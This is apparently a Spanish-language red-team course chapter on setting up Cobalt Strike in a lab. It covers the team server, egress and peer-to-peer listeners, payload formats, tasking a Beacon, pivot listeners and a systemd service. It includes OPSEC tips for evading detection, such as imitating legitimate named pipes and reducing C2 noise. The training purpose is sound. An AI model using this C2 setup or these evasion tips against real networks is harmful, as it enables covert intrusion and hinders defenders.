Command & Control
Cobalt Strike
Raphael Mudge creó Cobalt Strike en 2012 para habilitar pruebas de seguridad representativas de amenazas y fue uno de los primeros frameworks públicos de command and control para red team. Cobalt Strike es la plataforma preferida por muchos equipos de red team en organizaciones consultoras alrededor del mundo.
En 2020, Cobalt Strike fue adquirido por HelpSystems LLC.
Starting the Team Server
Desde la consola del Attacker Desktop, haz clic derecho en el ícono de Terminal en la barra de tareas y selecciona Team Server. Esto iniciará una conexión SSH hacia la máquina virtual Attacker Linux.
Desde el símbolo del sistema, muévete al directorio cobaltstrike y ejecuta el ejecutable teamserver.
attacker@ubuntu ~/cobaltstrike> sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
Donde:
10.10.5.50es la dirección IP de la máquina virtual Attacker Linux.Passw0rd!es la contraseña compartida utilizada para conectar desde el cliente de Cobalt Strike.webbug.profilees un ejemplo de perfil Malleable C2 (cubierto en más detalle más adelante).
Info
Se recomienda ejecutar el team server en una sesión tmux, ya que esto evitará que el proceso se cierre si la conexión SSH se pierde.
Lanza el cliente de Cobalt Strike desde la barra de tareas e ingresa los detalles de conexión.
Al conectar con un team server por primera vez, el cliente te pedirá confirmar la huella digital del servidor. Esto asegura que nadie está interceptando el tráfico entre tu cliente y el servidor.
Starting the Team Server Demo
Listener Management
El siguiente paso es configurar un "listener", que escuchará conexiones entrantes desde nuestros Beacons.
Info
"Beacon" es el nombre del payload de Cobalt Strike, porque realiza "beaconing" hacia el team server desde un endpoint comprometido.
Existen dos tipos principales de listeners: egress y peer-to-peer.
Egress Listeners
Un egress listener permite que Beacon se comunique fuera de la red objetivo hacia nuestro team server. Los tipos de listeners egress predeterminados en Cobalt Strike son HTTP/S y DNS, donde Beacon encapsulará tráfico C2 sobre estos protocolos.
Para gestionar tus listeners, ve a Cobalt Strike > Listeners o haz clic en el ícono de auriculares. Esto abrirá la pestaña de Listeners, desde la cual puedes agregar, editar, eliminar y reiniciar listeners.
HTTP
El listener HTTP permite que Beacon envíe y reciba mensajes C2 a través de solicitudes HTTP GET y/o POST.
Para crear un nuevo listener HTTP, haz clic en Add. Asegúrate de que Beacon HTTP sea el tipo de payload seleccionado y dale un nombre al listener. El nombre del listener se usa en muchos de los comandos CLI de Cobalt Strike, así que elige uno fácil de reconocer.
Haz clic en el botón + junto al cuadro HTTP Hosts. Aquí, proporciona las direcciones IP y/o nombres de dominio a los cuales el payload Beacon realizará callbacks. Por defecto, se autocompletará con la dirección IP de la máquina virtual Attacker Linux, pero es más realista usar nombres DNS adecuados. Hay un resolver DNS en el laboratorio que puedes usar para crear registros DNS arbitrarios, accesible a través del menú Apps en Snap Labs.
Ya existe un nombre de dominio creado - nickelviper.com, pero siéntete libre de crear el tuyo propio. También puedes crear y usar múltiples nombres de dominio, siempre y cuando apunten a 10.10.5.50.
Después de hacer clic en Save, verás un mensaje aparecer en el team server y el puerto 80 ahora estará escuchando.
[+] Listener: http started!
attacker@ubuntu ~> sudo ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 50 *:80 *:* users:(("TeamServerImage",pid=1967,fd=7))
DNS
| Name | Type | Data |
|---|---|---|
| @ | A | 10.10.5.50 |
| ns1 | A | 10.10.5.50 |
| pics | NS | ns1.nickelviper.com. |
El listener DNS permite que Beacon envíe y reciba mensajes C2 a través de varios tipos de búsqueda/respuesta, incluyendo A, AAAA y TXT. Por defecto, se usan registros TXT porque pueden contener la mayor cantidad de datos. Esto requiere crear uno o más registros DNS para un dominio del cual el team server será autoritativo. En el caso de nickelviper.com, he configurado lo siguiente:
Después de hacer clic en Save, podemos probar los registros realizando una búsqueda arbitraria. La respuesta predeterminada del team server es 0.0.0.0.
ubuntu@DESKTOP-3BSK7NO ~> dig @ns1.nickelviper.com test.pics.nickelviper.com +short
0.0.0.0
OPSEC
Debido a que 0.0.0.0 es la respuesta predeterminada (y también bastante ilógica), los team servers de Cobalt Strike pueden ser identificados de esta manera. Esto se puede cambiar en el perfil Malleable C2.
Peer-to-Peer
Los listeners peer-to-peer (P2P) son diferentes de los egress listeners porque no se comunican directamente con el team server. En su lugar, los listeners P2P están diseñados para encadenar múltiples Beacons en relaciones padre/hijo. Las razones principales para hacer esto son:
- Reducir la cantidad de hosts que hablan directamente con tu team server, ya que un mayor volumen de tráfico incrementa las probabilidades de ser detectado.
- Ejecutar Beacon en máquinas que ni siquiera pueden salir de la red, por ejemplo, en casos de reglas de firewall y otras segmentaciones de red.
Los dos tipos de listeners P2P en Cobalt Strike son Server Message Block (SMB) y TCP sin formato. Es importante entender que estos protocolos no abandonan la red objetivo (es decir, el team server no escucha en el puerto 445 para SMB). En su lugar, un Beacon SMB/TCP hijo estará vinculado a un Beacon HTTP/DNS egress, y el tráfico del hijo se enviará al padre, que a su vez lo enviará al team server.
SMB
Los listeners de SMB son muy simples, ya que solo tienen una opción: el nombre del named pipe. El valor predeterminado es msagent_## (donde ## es un valor hexadecimal aleatorio), pero puedes especificar cualquier nombre que desees. Un payload de Beacon SMB iniciará un nuevo servidor de named pipe con este nombre y esperará una conexión entrante. Este named pipe está disponible tanto local como remotamente.
OPSEC
Este nombre de pipe predeterminado es bastante fácil de identificar. Una buena estrategia es emular nombres conocidos utilizados por aplicaciones comunes o por Windows. Usa PS C:\> ls \\.\pipe\ para listar todos los pipes en escucha actualmente y obtener inspiración.
TCP
Un payload de Beacon TCP se vinculará y escuchará en el número de puerto especificado. También puedes especificar si se vinculará solo al localhost (127.0.0.1) o si se vinculará a todas las interfaces (0.0.0.0).
Success
Crea un conjunto completo de listeners. Estos son los que estaré usando a lo largo del curso.
Listener Management Demo
Generating Payloads
Los payloads en diferentes formatos pueden generarse desde el menú Payloads. Aquí tienes un desglose de cada opción:
HTML Application
Produce un archivo .hta (normalmente entregado a través de un navegador mediante ingeniería social) que utiliza VBScript incrustado para ejecutar el payload. Solo genera payloads para listeners de salida y está limitado a x86.
MS Office Macro
Produce un fragmento de VBA que se puede insertar en un documento habilitado para macros en MS Word o Excel. Solo genera payloads para listeners de salida, pero es compatible con Office x86 y x64.
Stager Payload Generator
Produce un stager de payload en varios lenguajes, incluidos C, C#, PowerShell, Python y VBA. Son útiles para construir payloads o exploits personalizados. Solo genera payloads para listeners de salida, pero admite x86 y x64.
Stageless Payload Generator
Como el anterior, pero genera payloads sin etapas (stageless) en lugar de stagers. Tiene menos formatos de salida, por ejemplo, no incluye PowerShell, pero ofrece la opción adicional de especificar una función de salida (proceso o hilo). También puede generar payloads para listeners P2P.
Windows Stager Payload
Produce un stager precompilado como un EXE, Service EXE o DLL.
Windows Stageless Payload
Produce un payload sin etapas precompilado como un EXE, Service EXE, DLL, shellcode, así como PowerShell. También es el único método para generar payloads para listeners P2P.
Windows Stageless Generate All Payloads
Genera todas las variantes de payloads sin etapas para todos los listeners, en x86 y x64.
Info
Para una explicación completa sobre payloads con etapas (staged) vs sin etapas (stageless), recomiendo esta excelente publicación de OJ Reeves.
Interacting with Beacon
Lanza un payload HTTP Beacon, como http_x64.exe, en el escritorio del atacante. Después de hacerlo, debería aparecer en la interfaz.
Las columnas de datos muestran los metadatos de Beacon, la mayoría de los cuales son autoexplicativos. La columna sleep muestra con qué frecuencia Beacon debería realizar el check-in con el servidor de equipo. Por defecto, es cada 60 segundos. La columna last muestra cuánto tiempo ha pasado desde el último check-in. Si Beacon pierde 3 check-ins consecutivos, el número en la columna last se mostrará en negrita/itálica para indicar que Beacon podría estar perdido.
Lanza Wireshark y captura tráfico en el adaptador Ethernet. Escribe http en el cuadro de filtro y presiona enter. La próxima vez que Beacon realice el check-in, verás una solicitud GET y una respuesta 200 OK.
Haz clic derecho en la solicitud GET y selecciona Follow > HTTP Stream.
El texto rojo es la solicitud realizada por Beacon, preguntando al servidor de equipo si hay trabajos que deba ejecutar. Los caracteres aleatorios en el URI son los metadatos codificados de Beacon. El texto azul es la respuesta del servidor de equipo. Como no había trabajos, simplemente envía un marco "NOP" (no-operation). Todo sobre cómo aparece este tráfico puede personalizarse en el perfil Malleable C2.
Para enviar un trabajo (o comando) a Beacon, haz doble clic en él en la interfaz y se abrirá una nueva pestaña. Puedes obtener una lista de comandos escribiendo help.
beacon> help
Beacon Commands
===============
Command Description
------- -----------
! Run a command from the history
argue Spoof arguments for matching processes
blockdlls Block non-Microsoft DLLs in child processes
browserpivot Setup a browser pivot session
cancel Cancel a download that's in-progress
cd Change directory
...
Emite un comando pwd para listar el directorio de trabajo actual. Esta tarea permanecerá pendiente en el servidor del equipo hasta que Beacon haga check-in, momento en el cual será ejecutada y los resultados serán enviados de vuelta.
[08/18 12:36:46] beacon> pwd
[08/18 12:36:46] [*] Tasked beacon to print working directory
[08/18 12:37:28] [+] host called home, sent: 8 bytes
[08/18 12:37:28] [*] Current directory is C:\Payloads
El perfil webbug que estamos utilizando, usa GET para solicitar tareas y POST para enviar los resultados de vuelta. En Wireshark, podemos ver cómo la respuesta del servidor del equipo ha cambiado cuando envía la tarea pwd a Beacon.
También podemos ver la salida enviada por Beacon en el cuerpo del POST.
Puedes decirle a Beacon que haga check-in más frecuentemente usando el comando sleep.
[08/18 12:50:46] beacon> sleep 5
[08/18 12:50:47] [*] Tasked beacon to sleep for 5s
[08/18 12:51:38] [+] host called home, sent: 16 bytes
OPSEC
Aunque esto es más conveniente para nosotros porque no tenemos que esperar tanto tiempo, puedes apreciar cuán ruidoso es en la red. Cuanto más ruido haga tu canal C2, más probable es que sea detectado.
A diferencia de HTTP Beacon, DNS Beacon no envía automáticamente sus metadatos (debido al menor ancho de banda de datos de DNS), por lo que aparecerá en la interfaz como un Beacon "desconocido".
Debes emitir manualmente un comando checkin antes de que los metadatos aparezcan.
Interacting with Beacon Demo
Pivot Listeners
Un pivot listener solo puede ser creado en un Beacon existente, y no a través del menú normal de Listeners. Estos listeners funcionan de la misma manera que los listeners TCP regulares, pero en reversa. Un payload Beacon TCP estándar se vincula a 127.0.0.1 (o 0.0.0.0) y escucha una conexión entrante en el puerto especificado. Luego, inicias una conexión hacia él desde un Beacon existente (con el comando connect). El pivot listener funciona de la manera opuesta al decirle al Beacon existente que se vincule y escuche en un puerto, y el nuevo payload Beacon TCP inicia una conexión hacia él en su lugar.
Para crear un pivot listener, haz clic derecho en un Beacon y selecciona Pivoting > Listener. Esto abrirá una ventana de "New Listener".
Notarás que el tipo de payload es beacon_reverse_tcp, en lugar de beacon_bind_tcp. Aunque hay un menú desplegable, este es actualmente el único tipo de payload que puedes usar con el pivot listener. Las opciones listen host y listen port son los detalles de conexión que serán incrustados en los payloads generados por este listener. Estos se rellenan automáticamente desde el Beacon que seleccionaste para actuar como pivot. A menos que estés haciendo algo inusual con forwards de puertos adicionales, querrás dejar estas opciones tal como están.
Después de hacer clic en guardar, ejecuta netstat y verás que tu puerto (4444 en este ejemplo) ahora está escuchando.
Info
También verás una alerta del firewall de Windows, haz clic en permitir acceso por ahora - cubriremos tácticas para esto en un capítulo futuro.
beacon> run netstat -anop tcp
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING 6920
El PID 6920 coincide con el PID de mi Beacon.
Ahora podemos generar payloads para este listener, y también estará disponible en todos los comandos habituales como spawn, elevate y jump, etc. Una vez ejecutado, el Beacon reverse TCP aparecerá inmediatamente en la interfaz y la flecha en la vista de gráfico mostrará la dirección de la conexión.
Para detener un pivot listener, ve a la lista regular de listeners, resáltalo y haz clic en el botón remove.
Pivot Listeners Demo
Running as a Service
Ejecutar el servidor del equipo como un servicio permite que se inicie automáticamente cuando se inicia la VM, lo que obviamente nos ahorra tener que acceder por SSH cada vez y arrancarlo manualmente. Esto se puede hacer con un archivo de unidad systemd.
Primero, crea el archivo en /etc/systemd/system.
attacker@ubuntu ~> sudo vim /etc/systemd/system/teamserver.service
Luego, pega el siguiente contenido:
[Unit]
Description=Cobalt Strike Team Server
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=1
User=root
WorkingDirectory=/home/attacker/cobaltstrike
ExecStart=/home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
[Install]
WantedBy=multi-user.target
A continuación, recarga el gestor de systemd y verifica el estado del servicio. Estará inactivo/muerto.
attacker@ubuntu ~> sudo systemctl daemon-reload
attacker@ubuntu ~> sudo systemctl status teamserver.service
● teamserver.service - Cobalt Strike Team Server
Loaded: loaded (/etc/systemd/system/teamserver.service; disabled; vendor preset: enabled)
Active: inactive (dead)
Inicia el servicio y verifica su estado nuevamente.
attacker@ubuntu ~> sudo systemctl start teamserver.service
attacker@ubuntu ~> sudo systemctl status teamserver.service
● teamserver.service - Cobalt Strike Team Server
Loaded: loaded (/etc/systemd/system/teamserver.service; disabled; vendor preset: enabled)
Active: active (running) since Mon 2022-09-05 08:25:26 UTC; 14s ago
Main PID: 1406 (teamserver)
Tasks: 19 (limit: 4620)
Memory: 47.5M
CGroup: /system.slice/teamserver.service
├─1406 /bin/bash /home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
└─1447 ./TeamServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 teamserver >
Sep 05 08:25:28 ubuntu teamserver[1447]: [*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
Sep 05 08:25:28 ubuntu teamserver[1447]: [+] I see you're into threat replication. c2-profiles/normal/webbug.profile loaded.
Sep 05 08:25:28 ubuntu teamserver[1447]: [*] Loading Windows error codes.
Sep 05 08:25:28 ubuntu teamserver[1447]: [*] Windows error codes loaded
Sep 05 08:25:28 ubuntu teamserver[1447]: [*] Loading beacons
Sep 05 08:25:28 ubuntu teamserver[1447]: [*] Loaded 0 beacons
Sep 05 08:25:28 ubuntu teamserver[1447]: [+] Team server is up on 0.0.0.0:50050
Sep 05 08:25:28 ubuntu teamserver[1447]: [*] SHA256 hash of SSL cert is: 3bf25b6317a1c948cfad31faa0e14414d2d35f73b7947fa0bd3717ab5d0bc32d
Sep 05 08:25:28 ubuntu teamserver[1447]: [+] Listener: dns started!
Sep 05 08:25:29 ubuntu teamserver[1447]: [+] Listener: http started!
El servicio debería estar activo/ejecutándose y verás la salida de consola típica del servidor del equipo. Ahora que sabemos que el servicio está funcionando, podemos decirle que se inicie en el arranque.
attacker@ubuntu ~> sudo systemctl enable teamserver.service
Created symlink /etc/systemd/system/multi-user.target.wants/teamserver.service → /etc/systemd/system/teamserver.service.
Ahora podremos conectarnos desde el cliente de Cobalt Strike tan pronto como se inicien las VMs.















